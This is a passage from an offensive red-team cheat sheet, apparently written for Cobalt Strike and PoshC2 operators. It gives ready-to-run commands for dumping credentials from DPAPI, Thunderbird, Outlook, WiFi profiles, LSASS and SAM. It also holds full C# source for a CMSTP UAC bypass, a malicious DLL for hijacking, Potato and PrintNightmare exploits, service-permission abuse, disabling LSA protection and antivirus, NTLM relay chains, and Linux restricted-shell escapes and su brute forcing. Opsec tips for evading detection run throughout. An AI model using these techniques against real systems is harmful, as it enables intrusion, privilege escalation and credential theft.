    - 2. Using a domain DPAPI backup key to first decrypt any discoverable masterkeys and then search for Vaults and decrypt them (SharpDPAPI): `SharpDPAPI vaults /pvk:C:\users\public\documents\key.pvk`

Mozilla Thunderbird email & credential dumping:

- Retrieve saved credentials from Thunderbird (Thunderfox) (for PoshC2: run-exe ThunderFox.Program): `Thunderfox creds (/target:"C:\Users\<username>\AppData\Roaming\Thunderbird\Profiles\<string>.default-release")`
- Retrieve a list of the user's Thunderbird contacts (Thunderfox): `Thunderfox contacts`
- Retrieve a detailed list of all emails in Thunderbird (Thunderfox): `Thunderfox listmail`
- Read a specific email (Thunderfox): `Thunderfox readmail /id:<email ID>`

Outlook e-mail export:

In Outlook there are PST and OST files. PST is used to store file locally whereas OST is an Offline storage used when no server connection is present.

- 1. Check the following location for PST or OST mail files:
    - `C:\users\<username>\AppData\Local\Microsoft\Outlook\`
    - `C:\Users\<username>\Roaming\Local\Microsoft\Outlook\`
- 2. Kill the outlook process and download all the files
- 3. To view the content of the files import them in a compatable email client (free OST viewer application)

Dump stored WiFi passwords:

- (info) This technique dumps all stored WiFi passwords on the system and can be run without admin privileges.
- Option 1: **Get-WLANPass**: `get-wlanpass`
- Option 2: **Native PowerShell**:
    - 1. Show all stored wireless AP names (PS): `netsh wlan show profile`
    - 2. Select a AP name copy/paste it in the following command and dump the associated stored password (PS): `netsh wlan show profile <AP name> key=clear | Select-String -Pattern "Key Content"`

Search registry for passwords:

- 1. Remotely dump HKEY_USERS registry (impacket): `reg.py <domain>/<usename>@<target ip or FQDN> (-hashes :<NTLM>) query -keyName HKU -s |tee hku.reg`
- 2. Search for stored cleartest passwords (recommended to search for keywords like "password" or name software): `grep "<keyword>" hku.reg (-A3 -B3) -a`

General search queries and tools:

- Fast file searching and specific keyword identification (use the '-c' to search file contents) (for PoshC2: SauronEye.Program) (SauronEye): `SauronEye.exe -d C:\<directories to search> -f <filetypes to search for/in (.txt .doc .docx .xls)> (-c) (-k <Keywords to search for (e.g. pass*)>)`
- Recursive file search (PS): `gci -recurse -include <file name to search for>`
- Recursively list all files in the current directory (run from the users home directory): `cmd /c dir /S /A`
- Specify file type (execute in de C:\ directory): `findstr /si password *.xml *.ini *.txt`
- Search everything that contains the word "password": `findstr /spin "password" *.*`
- Show hidden files: `dir -Force`

Files that may contain stored credentials:

- Unattend files: `dir /b /s unattend.xml`
- Web config files: `dir /b /s web.config`
- System Preparation files (also search for sysprep.inf): `dir /b /s sysprep.xml`
- FileZilla creds on Windows:
  - `C:\Users\<username>\AppData\Roaming\FileZilla\`
  - `C:\Users\<username>\AppData\Local\FileZilla\`
- Powershell scripts/config files: `C:\Program Files\Windows PowerShell\`
- RDP config files: `C:\ProgramData\Configs\`
- Keepass/LastPass config files:
  - `C:\Users\<username>\AppData\Roaming\<Keepass | LastPass>`
  - `C:\Users\<username>\AppData\Local\<Keepass | LastPass>`

System privilege escalation

Info: this section can be used if you land on a system.

Windows privilege escalation:

Privesc enumeration tools:

- Option 1: SharpUp: Check for misconfigurations that allow for local privilege escalation: `sharpup.exe audit`
- Option 2: **WinPEAS:** This tool aims to enumerate common Windows configuration issues and secrets in files (recommended to only use during a pentest) (for PoshC2: winPEAS.Program winPEAS): `.\winPEAS.exe (systeminfo) (userinfo) (serviceinfo) (applicationinfo) (windowscreds) (filesinfo)`
- Option 3: **PrivescCheck:** (recommended to only use during a pentest): `Invoke-PrivescCheck`

Abuse user & group privileges:

Administrator Privilege: Bypass User Account Control (UAC):

UAC Bypass is used to bypass the message box that asks for approval when a program wants to run with elevated privileges. If you are in a shell context, you can not give approval by clicking yes in the message box. UAC bypass only works for users that are already in the Administrator group.

- Option 1: **Automated UAC bypass techniques**:
    - (info) most methods will work but may trigger AV and kill the current beacon (this will not stop a new high intergrity beacon from starting).
    - 2. Base64 encode the command you want to execute with elevated privs: `cmd /c "C:\users\public\documents\payload.exe"`
    - 3. Select one of the following UAC bypass techniques:
        - `fodhelper`
        - `computerdefaults`
        - `sdclt`
        - `slui`
        - `dikcleanup` (command generated in step needs to end on `"&& REM"`)
    - 4. Bypass UAC (SharpBypassUAC): `run-exe SharpBypassUAC.SharpBypassUAC SharpBypassUAC -b <UAC bypass technique> -e <base64 encoded command>`
- Option 2: **Cobalt strike**: `runasadmin uac-cmstplua <command>`
- Option 3: **UAC bypass based on SendKeys**: this technique is based on the Microsoft service "cmstp.exe" and uses SendKeys to bypass UAC (more info):
    - (Opsec alert) If a user is actively using the workstation, using this UAC bypass may attracked unwanted attention duo a short pop-up of both the CMSTP application and terminal windows.
    - 1. Save the following C# code as "custom-uac-bypass.cs":

```
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;

public class CMSTPBypass
```

```
{
        // the.INF file data!
        public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"",
""%UnexpectedError%"", """"

[Strings]
ServiceName=""Windows 10 VPN client""
ShortSvcName=""Windows 10 VPN client""
";

        [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr
hWnd);

        public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";

        /* Generates a random named .inf file with command to be executed with UAC privileges */
        public static string SetInfFile(string CommandToExecute)
        {
                string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
                string TemporaryDir = "C:\\windows\\temp";
                StringBuilder OutputFile = new StringBuilder();
                OutputFile.Append(TemporaryDir);
                OutputFile.Append("\\");
                OutputFile.Append(RandomFileName);
                OutputFile.Append(".inf");
                StringBuilder newInfData = new StringBuilder(InfData);
                newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
                File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
                return OutputFile.ToString();
        }

        public static bool Execute(string CommandToExecute)
        {
                if(!File.Exists(BinaryPath))
                {
                        Console.WriteLine("cmstp.exe not found!");
                        return false;
                }
                StringBuilder InfFile = new StringBuilder();
                InfFile.Append(SetInfFile(CommandToExecute));

                Console.WriteLine("File written to " + InfFile.ToString());
                ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
                startInfo.Arguments = "/au " + InfFile.ToString();
                startInfo.UseShellExecute = false;
                Process.Start(startInfo);

                IntPtr windowHandle = new IntPtr();
                windowHandle = IntPtr.Zero;
                do {
                        windowHandle = SetWindowActive("cmstp");
                } while (windowHandle == IntPtr.Zero);

                System.Windows.Forms.SendKeys.SendWait("{ENTER}");
                return true;
        }

        public static IntPtr SetWindowActive(string ProcessName)
        {
                Process[] target = Process.GetProcessesByName(ProcessName);
                if(target.Length == 0) return IntPtr.Zero;
```

```
                target[0].Refresh();
                IntPtr WindowHandle = new IntPtr();
                WindowHandle = target[0].MainWindowHandle;
                if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
                SetForegroundWindow(WindowHandle);
                ShowWindow(WindowHandle, 5);
                return WindowHandle;
        }
}
```

- 2. Compile "custom-uac-bypass.cs" to a DLL (PS): `Add-Type -TypeDefinition ([IO.File]::ReadAllText("C:\<path to>\custom-uac-bypass.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "UAC-Bypass.dll"`
- 3. Convert the UAC-Bypass.dll to a base64 string (PS): `[convert]::ToBase64String([IO.File]::ReadAllBytes("C:\<path to>\UAC-Bypass.dll"))`
- 4. Copy and paste the base64 string in the place holder of the following script and save as "custom-uac-bypass.ps1":

```
function UAC
{
        Param(
                [Parameter(Mandatory = $true, Position = 0)]
                [string]$Command
        )
        if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type)
        {
                [Reflection.Assembly]::Load([Convert]::FromBase64String("<PASTE BASE64 STRING HERE>")) |
Out-Null
        }
        [CMSTPBypass]::Execute($Command)
}
```

- 5. Bypass UAC and execute a command with elevated privileges (it is recommended to execute this command repidly 2x times in a row) (PS): `UAC -Command 'C:\Windows\System32\cmd.exe /C "<command to execute>"'`
- 6. (optional) Delete the .inf file that is stored in the "C:\Windows\Temp" directory (note the file name based on the script output).

SeImpersonatePrivilege: Potato exploits:

- Option 1: EfsPotato: This method exploits the MS-EFSR protocol (known from PetitPotam) in combination with the "SeImpersonatePrivilege" privilege. Run any command as NT\SYSTEM: `.\EfsPotato.exe <command>`
- Option 2: PrintSpoofer: Run an arbitrary binary with SYSTEM privileges abusing the SeImpersonatePrivilege and Spool Service (.NET version can be found here but has differend usage): `.\PrintSpoofer.exe -c c:\users\public\documents\payload.exe`
- Option 3: RoguePotato: This privesc technique instruct the DCOM server to perform a remote OXID query to a system under your control and redirects the OXID resolutions requests to a "fake" OXID RPC Server:
  - (info) this technique works on Windows 10 versions higher than 1803 and Server 2019.
  - 1. On a (linux) system under your control start a redirector that accepts incoming request and forwards them to the listening port of the RoguePotato binary (the fake OXID resolver) running on the target system: `socat -d -d tcp4-listen:135,reuseaddr,fork tcp4-connect:<TARGET IP>:8080`
  - 2. Start a listener (recommended to test the RCE first with a ping request and running tcpdump in icmp mode)
  - 3. Upload both the "RoguePotato.exe" and RogueOxidResolver.exe binary to the target system and start the fake OXID resolver that to get a shell as SYSTEM: `.\RoguePotato.exe -r <own ip> -e "<command to execute or binary to run>" -l 8080 (-p testpipe)`

- Option 4: JuicyPotato: This method tricks the "NT AUTHORITY\SYSTEM" account into authenticating via NTLM to a controlled TCP endpoint and negotiates a security token that is finally been impersonated:
    - (info) this technique works on Windows 10 1803, Server 2016 and lower.
    - 1. Upload a payload binary to the target system
    - 2. Run the tool (if the default BITS class identifier (CLSID) doesn't work on the targets OS type, check here for another one): `JuicyPotato.exe -t * -p <path to payload.exe> -l <random port (e..g 9001)> (-c {<CLSID (e.g. 9B1F122C-2982-4e91-AA8B-E071D54F2A4D)>})`

SeRestorePrivilege abuse:

- Run any command as NT\SYSTEM (SeRestoreAbuse): `.\SeRestoreAbuse.exe "cmd /c <command>"`

SeManageVolumePrivilege abuse:

This technique gives full control over the C: directory structure. An attacker can read and write files anywhere on the system.

- 1. Run tool (SeManageVolumeAbuse): `.\SeManageVolumeAbuse.exe`
- 2. It is now possible to read and write files in a privileged context and start for example a beacon:
    - 1. Create a custom dll and save it as tzres.c:

```
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
        if (dwReason == DLL_PROCESS_ATTACH){
                system("powershell.exe -ep bypass -c \"<command here>\"");
                ExitProcess(0);
        }
         return TRUE;
}
```

    - 2. Compile the dll: `x86_64-w64-mingw32-gcc tzres.c -shared -o tzres.dll`
    - 3. Upload the dll to the target system and save it as "C:\Windows\System32\wbem\tzres.dll"
    - 4. To start a beacon as NT\NETWORK SERVICE, call "systeminfo" to trigger it: `systeminfo`
    - 5. Elevate from NT\NETWORK to NT\SYSTEM via any SeImpersonatePrivilege exploit (Potatoes).
    - 6. To correctly stop the NT\NETWORK shell/beacon, kill the process and do NOT exit the shell (otherwise the systeminfo process will hang and can't be exploited again without system reboot): `taskkill /f /pid <PID PS process>`

PowerShell Remoting Privilege:

If the owned user account is member of the 'Powershell Remoting' group, it is possible to execute code directly on another system.

- Execute a command remotely (PS): `invoke-command -computername <target computer name (e.g. dc01)> -scriptblock {<code to execute (e.g. hostname, iex)>}`

SeLoadDriverPrivilege Privilege:

This technique requires the 'SeLoadDriverPrivilege ' privilege and makes it possible to load a malicious device driver and execute code in the kernel space.

- 1. Upload the following files to the target "C:\temp" directory: Capsom.sys, EOPLOADDRIVER.exe, ExploitCapsom_modded.exe and netcat.bat.
- 2. Modify the netcat.bat file so it starts a beacon
- 3. On the target host run driver exploit (successful when showing "NTSTATUS: oooooo, WinError: 0"): `.\EOPLOADDRIVER.exe System\CurrentControlSet\MyService C:\temp\Capcom.sys`
- 4. Execute the netcat.bat file: `.\ExploitCapcom_modded.exe`

Abuse vulnerable software & service permissions :

Local running services:

- 1. Check for local running services: `netstat -ano`
- 2. Verify what the service does, if you can interact with it and if it is exploitable.

Process and task information:

- List running services: `net start`
- Shows running processes including PID: `tasklist /v`
- Return processes that are mapped to a specific services (only from current user context): `tasklist /SVC`

Weak service (binary) permissions exploitation:

Weak service (binary) permissions can result in modifying service configurations by changing the "binPath" variable or directly overwriting the service binary. If the targeted binary is running with high privileges and can be restarten or auto starts after termination, it is possible to leverage this type of vulnerabilities to obtain system level access.

- (info) for CS, all the 'sc' command can be run as BOF (CS-Situational-Awareness-BOF | CS-Remote-OPs-BOF)
- 1. Enumerate for vulnerable service permissions (use the already discribed 'PrivescCheck' or 'SharpUp' tool for this).
- 2. Check if the service runs as system and uses "auto_start" as start type: `sc qc <service name>`
- 3. Verify if for:
    - weak service permission, you have the correct permissions (Get-ServiceAcl): `Get-ServiceAcl -Name <name vuln service> | select -expandpropery Access`
    - weak service binary permission, it is possible to replace the binary: `Get-Acl -Path "C:\<path to vuln binary>" | fl`
- 4. Create a "Windows Service EXE binary" from the "Payload Development" section (is it mandatory to execute a payload that is able to run a command in a new process because the orginial service process will crash after execution).
- 5. Upload everything that is needed for the exploitation -like the created binary- to the target system.
- 6. Take the staps needed so the binary will be executed:
    - Weak service binary permission: Replace the original binary (move and give it a new name) with the custum binary (this most likely requires you to first stop the binary).
    - Weak service permission:
        - 1. modify the service config so it points to your payload (note the original 'BINARY_PATH_NAME' so it can later be restored): `sc config "<name vulnerable service>" binPath= "C:\<path to binary.exe>"`
        - 2. If not already, change "SERVICE_START_NAME" attribute to localsystem: `sc config "<name vulnerable service>" obj= "LocalSystem"`
        - 3. If not already, change "START_TYPE" attribute to AUTO_START: `sc config "<name vulnerable service>" start=auto`
- 7. Restart the vulnereable service:
    - Option 1: If the user has anough privileges:
        - 1: `sc stop <vuln-service>`
        - 2: `sc start <vuln-service>`
    - Option 2: Restart system if the vulnerable service has auto restart and the user has the "SeShutdownPrivilege": `shutdown /r`

Unquoted service path exploitation:

Unquoted service path exploits the way the system is searching and running a specific binary. If the targeted binary is running with high privileges and can be restarten or auto starts after termination, it is possible to leverage this vulnerabilities to obtain system level access.

- 1. Enumerate for unquoted service paths:
  - Option 1: list all services and check manually: `wmic service get name, pathname`
  - Option 2: filter on missing quotes: `wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """`
- 2. Check if the service runs as system and uses "auto_start" as start type: `sc qc <service name>`
- 3. Verify if for unquoted service path, it is possible to write to one of the directories containing spaces (the () are mandatory) (PS): `(Get-Acl C:\<path to dir>).access`
- 4. Create a "Windows Service EXE binary" from the "Payload Development" section (is it mandatory to execute a payload that is able to run a command in a new process because the orginial service process will crash after execution).
- 5. Upload everything that is needed for the exploitation -like the created binary- to the target system
- 6. Move your custom binary to the vulnerable folder and rename it (e.g. move the payload "Privacy.exe" to "C:\Program Files (x86)\Cybertron\Privacy Drive" which is the vulnerable path for the service: "C:\Program Files (x86)\Cybertron\Privacy Drive\pdsvc.exe") (if the payload doesn't run, rename it without the .exe extention).
- 7. Restart the vulnereable service:
  - Option 1: If the user has anough privileges:
    - 1: `net stop <vuln-service>`
    - 2: `net start <vuln-service>`
  - Option 2: Restart system if the vulnerable service has auto restart and the user has the "SeShutdownPrivilege": `shutdown /r`
- 8. (optional) restore changes by deleting the custom binary from the vulnerable folder.

AlwaysInstallElavated registry key abuse:

The AlwaysInstallElevated is an 'feature' that allows the installation of software packages in privileged context by all authenticated users:

- 1. Check set registry key (or run SharpUp for automated check):
  - `reg query HKEY_LOCAL_MACHINE\software\Policies\Microsoft\Windows\Installer`
  - `reg query HKEY_LOCAL_MACHINE\software\Policies\Microsoft\Windows\Installer`
- 2. Create .msi installer that serves as a wrapper for an arbitrary payload executable (e.g. beacon):
  - 1. Create a payload (e.g. beacon.exe or HInjector.exe) as the payload
  - 2. In visual studio download and install the "Installer Project" package (go to: Extensitions > Manage Extenstions and search for: Microsoft Visual Studio Installer Project).
  - 3. Re-open Visual Studio, select Create a new project and search "installer". Select the "Setup Wizard" project, give it a name (MSIinstaller) and click "Create".
  - 4. Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the payload you just generated. Then click Finish.
  - 5. Highlight the MSIinstaller project in the Solution Explorer (right panel) and in the Properties, change TargetPlatform from x86 to x64 (recommended to change other parameters aswell for opsec like the "Manufacturer" attribute).
  - 6. Now right-click the project and select View > Custom Actions. Right-click Install and select Add Custom Action. Double-click on Application Folder, select your payload.exe file and click OK. In the properties section change "Run64Bit" to True.

    - 7. Build project.
- 3. Upload payload to target system and (if required) start listener on own machine
- 4. Execute payload on target system: `msiexec /q /n /i MSIinstaller.msi`
- 5. Uninstall and remove the MSI: `msiexec /q /n /uninstall MSIinstaller.msi`

PrintNightmare (CVE-2021-1675 | CVE-2021-34527):

This vulnerability exists due to an authorisation bypass bug in the Print Spooler service spoolsv.exe on Windows systems, which allows authenticated remote users to install print drivers using the RPC call RpcAddPrinterDriver and specify a driver file located on a remote location. A malicious user exploiting this could obtain SYSTEM level privileges on a Windows system running this service by injecting a malicious DLL as part of installing a print driver.

- (info) recommended to use the dll as a dropper that downloads and executes the actual payload in memory.
- 1. Create a custom DLL dropper and upload that DLL to the target system or host it on a share that is accessible from the target system (check the "Payload development" section).
- 2. Run the exploit and execute the code inside the dll (for PoshC2: SharpKatz.Program) (SharpKatz): `SharpKatz.exe --Command printnightmare --Target <current system name> --Library C:\\users\\public\\documents\\payload.dll`

Privilege escalation on workstation via WebClient:

- (info) this technique can be useful for privilege escalation in the case you have a low/mid intergrity beacon running on a workstation that is domain joined.
- 1. Verify if the WebClient service is listed as 'Stopped' or 'Running': `Get-Service WebClient`
- 2. If the WebClient is stopped, you may be able to start the service programmatically via a service trigger using this C# version (StartWebClient):
    - 1. Save the following C# code:

```
using System.Runtime.InteropServices;
using System;

namespace StartWC
{
    class StartWC
    {
        static void Main(string[] args)
        {
            if (StartWCService()) {
                Console.WriteLine("[+] Service started successfully");
            }
            else {
                Console.WriteLine("[-] Failed to start Service");
            }
        }
        static bool StartWCService()
        {
            Guid _MS_Windows_WebClntLookupServiceTrigger_Provider = new Guid(0x22B6D684, 0xFA63, 0x4578,
0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7);

            Win32.EVENT_DESCRIPTOR eventDescriptor = new Win32.EVENT_DESCRIPTOR();
            ulong regHandle = 0;

            Win32.WINERROR winError = Win32.EventRegister(
                ref _MS_Windows_WebClntLookupServiceTrigger_Provider,
                IntPtr.Zero,
                IntPtr.Zero,
                ref regHandle
            );

            if (winError == ((ulong)Win32.WINERROR.ERROR_SUCCESS))
            {
```

```
                unsafe {
                if (Win32.EventWrite(
                        regHandle,
                        ref eventDescriptor,
                        0,
                        null
                        ) == Win32.WINERROR.ERROR_SUCCESS) {
                    Win32.EventUnregister(regHandle);
                        return true;
                    }
                }
            }
            return false;
        }
    }
    class Win32
    {
        public enum WINERROR : ulong {
            ERROR_SUCCESS = 0x0,
            ERROR_INVALID_PARAMETER = 0x57,
            ERROR_INVALID_HANDLE = 0x6,
            ERROR_ARITHMETIC_OVERFLOW = 0x216,
            ERROR_MORE_DATA = 0xEA,
            ERROR_NOT_ENOUGH_MEMORY = 0x8,
            STATUS_LOG_FILE_FULL = 0xC0000188,
        }

        [StructLayout(LayoutKind.Explicit, Size = 16)]
        public class EVENT_DESCRIPTOR
        {
            [FieldOffset(0)] ushort Id = 1;
            [FieldOffset(2)] byte Version = 0;
            [FieldOffset(3)] byte Channel = 0;
            [FieldOffset(4)] byte Level = 4;
            [FieldOffset(5)] byte Opcode = 0;
            [FieldOffset(6)] ushort Task = 0;
            [FieldOffset(8)] long Keyword = 0;
        }

        [StructLayout(LayoutKind.Explicit, Size = 16)]
        public struct EVENT_DATA_DESCRIPTOR
        {
            [FieldOffset(0)]
            internal UInt64 DataPointer;
            [FieldOffset(8)]
            internal uint Size;
            [FieldOffset(12)]
            internal int Reserved;
        }
        [DllImport("Advapi32.dll", SetLastError = true)]
        public static extern WINERROR EventRegister(ref Guid guid, [Optional] IntPtr EnableCallback,
[Optional] IntPtr CallbackContext, [In][Out] ref ulong RegHandle);

        [DllImport("Advapi32.dll", SetLastError = true)]
        public static extern unsafe WINERROR EventWrite(ulong RegHandle, ref EVENT_DESCRIPTOR
EventDescriptor, uint UserDataCount, EVENT_DATA_DESCRIPTOR* UserData);

        [DllImport("Advapi32.dll", SetLastError = true)]
        public static extern WINERROR EventUnregister(ulong RegHandle);
    }
}
```

  - 2. Compile the code on your Windows system:
  - 3. Run the binary (for PoshC2: run-exe StartWC.StartWC StartWC) . \StartWC.exe

- 3. Start relay server that will convert http traffic to ldaps, create a new computer account and give it RBCD privileges (impacket): (proxychains4) python3 ntlmrelayx.py -smb2support -t ldaps://<FQDN DC> --delegate-access

- 4. Start Responder to establish host name resolution to your own attacker system (turn smb and http off in Responder.conf): `python Responder.py -I <interface> -v`
- 5. (optional) if Responder is not running in the same domain as the target system, add a new DNS record that points to your attacker system or a pivot host (Powermad): `Invoke-DNSUpdate -DNSType A -DNSName kali -DNSData <IP own system or pivot host>`
- 6. Coerce the current system to make a webdav (http) based authentication request to your relay server (Invoke-PetitPotam.ps1): `Invoke-PetitPotam <FQDN current system> '<Responder Machine Name or set DNS name>@80/test'`
- 7. Request TGT of DA via the RBCD privilege (impacket): `python3 getST.py -spn host/<FQDN target system> -dc-ip <IP DC> -impersonate Administrator <FQDN>/<name new computer account>\$`
- 8. Import the ticket in your session.

Start local high integrity beacon:

Cobalt Strike localhost beacon:

This method can be used to locally start a high integrity beacon without connecting it directly to the TS.

- Option 1: **Start new process with credentials**:
  - (opsec alert) this will create a new user profile if not present and generates both logon type 2 (show calling and impersonated user) and Sysmon event 1 (process create).
  - (info) this method must be run from a directory the new user also has read access to.
  - 1. Start a new "Beacon TCP" listener and select the "localhost" box
  - 2. Start new process: `spawnas (<domain>\)<user> <password> <listener name>`
- Option 2: **Run binary with elevated privs**:
  - 1. Start a new "Beacon TCP" listener and select the "localhost" box
  - 2. Create a beacon.exe payload for the started TCP listener
  - 3. Execute the payload via whatever available privesc method.
  - 4. Connect to the high integrity beacon from the already established mid integrity beacon (Beacon TCP): `connect localhost <port>`

PoshC2 localhost Daisy Server:

This method can be used to minimize egress by locally running the daisy server and execute the daisy payload via an arbitrary privesc vulnerability that allows for command/code execution.

- (info) run this technique from the context of an already established beacon.
- 1. Start daisy server in an already established low/medium integrity beacon and follow the wizard for configuration (during configuration specify that you are NOT elevated and choose a high port that doesn't require elevated privileges): `startdaisy`
- 2. Do all the preparation and exploitation steps that are needed to successfully privesc and use the generated daisy payload (recommended to use the 'Sharp_v4_x64_Shellcode.bin' shellcode).

Local PtH to start beacon:

This method can be used to start a high integrity process in the context of NT\SYSTEM (PSexec) or local administrator (WMIexec) based on pass-the-hash.

- Option 1: **From beacon**:
  - Sharp PSexec: run command or verify local admin access (if no command is specified, it checks local admin access. Also the tool is slow so give it time) (for PoshC2: SharpInvoke_SMBExec.Program)

(Sharp-SMBExec) Sharp-SMBExec.exe hash:"<hash>" username:"<username>" (domain:"<domain>") target:"127.0.0.1" (command:"<command>")
    - PowerShell WMI: run elevated command (Invoke-WMIExec.ps1): Invoke-WMIExec -Target 127.0.0.1 (-Domain <domain name>) -Username <username> -Hash <NT hash> -Command "<command>" (-verbose)
- Option 2: **From attacker system**:
    - Start interactive shell to target system (Impacket): python3 <psexec.py | wmiexec.py> (<FQDN>/)<username>(:<password>)@<target ip> (-hashes <NTLM>)
    - Execute command without starting sesison (impacket): python3 wmiexec.py -nooutput (-hashes :<NTLM>) ".\Administrator"@<target ip> (<command to run>)

RunAs:

This technique can be useful to run commands on the local system as another user.

- (info) Both options only support username/password as an authentication option. Furthermore, the user must be the local Administrator account or a domain user with high privileges on the local system .
- Option 1: **Cobalt Strike**: runas (<domain>\)<user> <password> <command> (<arguments>)
- Option 2: **PoshC2**: runasps <domain or local netbios> <username> "<password>" "<command>"

From Restricted Administrator session to NT\AUTHORITY SYSTEM:

This technique can help to bypass a hardened environment where the local administrator is configured without the 'SeDebugPrivilege' privilege which makes migrating to a SYSTEM process otherwise impossible.

- 1. Upload the PsExec tool from Sysinternal and a payload.exe to the system.
- 2. Run commands as SYSTEM (the -s parameter will run any command as SYSTEM): .\PsExec64.exe -accepteula -s cmd /c "C:\users\public\documents\payload.exe"

Extract local stored secrets:

Extract hashes from LSASS:

- Extract secrets via LSASS process dump:
    - 1. Dump LSASS:
        - Option 1: CS BOF (CS-Remote-OPs-BOF): procdump <PID LSASS> C:\<location to store dump file>\dump.bin
        - Option 2: C# (Safetykatz): safetykatz minidump
    - 2. Download the 'dump.bin' or 'min_debug.bin' file to your own machine
    - 3. Extract hashes on own Linux system (Pypykatz): pypykatz lsa minidump dump.bin -e
- List Kerberos encryption keys (for PoshC2: SharpKatz.Program) (SharpKatz): SharpKatz.exe --Command ekeys
- Retrive user credentials from all providers (kerberos, credman, ekeys, etc) (SharpKatz): SharpKatz.exe --Command logonpasswords

Bypass LSA protection to dump LSASS:

When LSA protection is enabled, the LSASS process is marked as Protected Process Light (PPL), meaning that you can't inject code or tamper with the process.

- 1. Check if LSA protection is enabled (can also be done via seatbelt): Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"

- 2. Upload the 'mimidrv.sys' driver -that accompanies Mimikatz- to the target system (may require that you first disable AV real time protection to prefent AV flagging 'mimidrv.sys')
- 3. In the same directory as the saved 'mimidrv.sys' driver, run Invoke-Mimikatz to load it:
    - 1: `Invoke-Mimikatz -Command "!+"`
    - 2: `Invoke-Mimikatz -Command "``"!processprotect /process:lsass.exe /remove`""`
- 4. It is now possible to dump LSASS (recommended to use SharpKatz method)
- 5. Unload the driver after you finish:
    - 1: `Invoke-Mimikatz -Command "``"!processprotect /process:lsass.exe`""`
    - 2: `Invoke-Mimikatz -Command "!-"`
    - 3. (optional) turn AV back on

Extract hashes from SAM:

- (info) the system doesn't allow you to copy the SAM (C:\Windows\System32\config\SAM), SYSTEM (C:\Windows\System32\config\SYSTEM) and SECURITY (C:\Windows\System32\config\SECURITY) files, but let you copy its content from the registry mount location. Furthermore, check for stored backup files in C:\Windows\System32\config\RegBack\<file>.
- Option 1: manual:
    - 1. Make a copy of the following files:
        - 1: `reg save HKLM\SYSTEM system.save`
        - 2: `reg save HKLM\SAM sam.save`
        - 3: `reg save HKLM\SECURITY security.save`
    - 2. Download files to own machine and delete all made copies on the target system
    - 3. Dump hashes from extarcted files (impacket): `secretsdump.py -sam sam.save -system system.save -security security.save (-history) LOCAL`
- Option 2: Mimikatz (Mimikatz.ps1): `Invoke-Mimikatz -Command "lsadump::sam"`

Linux privilege escalation:

Escape restricted environments:

The following techniques are examples and can be used to escape a restricted environment like rbash and chroot.

- (info) Multiple escape methods: https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/
- Check GTFOBins if there is an available binary that can help you to escape (e.g. Less, Vim, Nmap)
- Use programming language (if accessible)
- Break out via SSH before restricted shell is initialized: `ssh <username>@<target ip> -t "/bin/sh"`
- Bypass restricted shell via SSH by loading bash with no profile: `ssh <username>@<target ip> -t "bash --noprofile"`
- Escape restricted shell vulnerability:
    - 1. `BASH_CMDS[a]=/bin/sh;a`
    - 2. `export PATH=$PATH:/bin/`
    - 3. `export PATH=$PATH:/usr/bin`
- Search for sensitive files, custom binaries or services (e.g mysql) that can help you escape
- Escape Lshell: `echo os.system('/bin/bash')`

Automated privesc enumeration:

- Option 1: Linux-smart-enumeration: for more verbose output use -l2): `./lse.sh -l1`
- Option 2: LinPEAS: `./linpeas.sh -a | tee output.txt`

Abuse users & groups:

Identify interesting users:

- 1. Check what other interesting users are on the system:
  - Current logged in users: `who`
  - Previous logins: `last`
  - Users with sudo rights: `grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'`
- 2. If user is part of a exploitable group or can run/access a service as root, try to compromise that user account.

Login as another user account:

- Option 1: **Login with creds**:
  - Escalate to another user: `su <username>`
  - If "su" is unavailable: `doas -u <username> /bin/sh`
- Option 2: **Bruteforce passwords:** Sucrack is a multithreaded Linux/UNIX tool for brute-force cracking local user accounts via su.
  - 1. Upload the compiled version of sucrack and a passwordlist to the target system.
  - 2. Start bruteforce authentication attempts via su (default is root user): `./sucrack -w <threads (e.g. 5)> (-u <username>) passwordfile.txt`

Identify exploitable group memberships:

- 1. Identify the groups the current user is part of: `id`
- 2. Check if the group may allow for privesc.

Docker Group:

- (info) If the current user is in the docker group or docker.socks is writeable it is possible to mount a host partition inside the container to get root privileges.
- 1. Enumerate the docker instance for vulnerbailities:
  - Option 1: **Automated enumeation**: upload deepce.sh to target host and run (deepce): `./deelce.sh`
  - Option 2: **Manual enumeation**:
    - List available images (docker images are read-only templates used to build containers): `docker images`
    - List containers (containers are deployed instances created from image templates): `docker container ls`
    - List running and stopped containers: `docker ps -a`
    - Get info of the container: `docker inspect <containerid>`
    - Get shell inside image (this will start a container): `docker run -i -t <image name (e.g. ubuntu)>:<tag name (e.g. latest)> /bin/bash`
    - Get shell inside a container: `docker exec -it <containerid> /bin/sh`
- 2. Exploit vulnerable docker configuration:
  - Option 1: **docker group**:

        - 1. List images: `docker images`
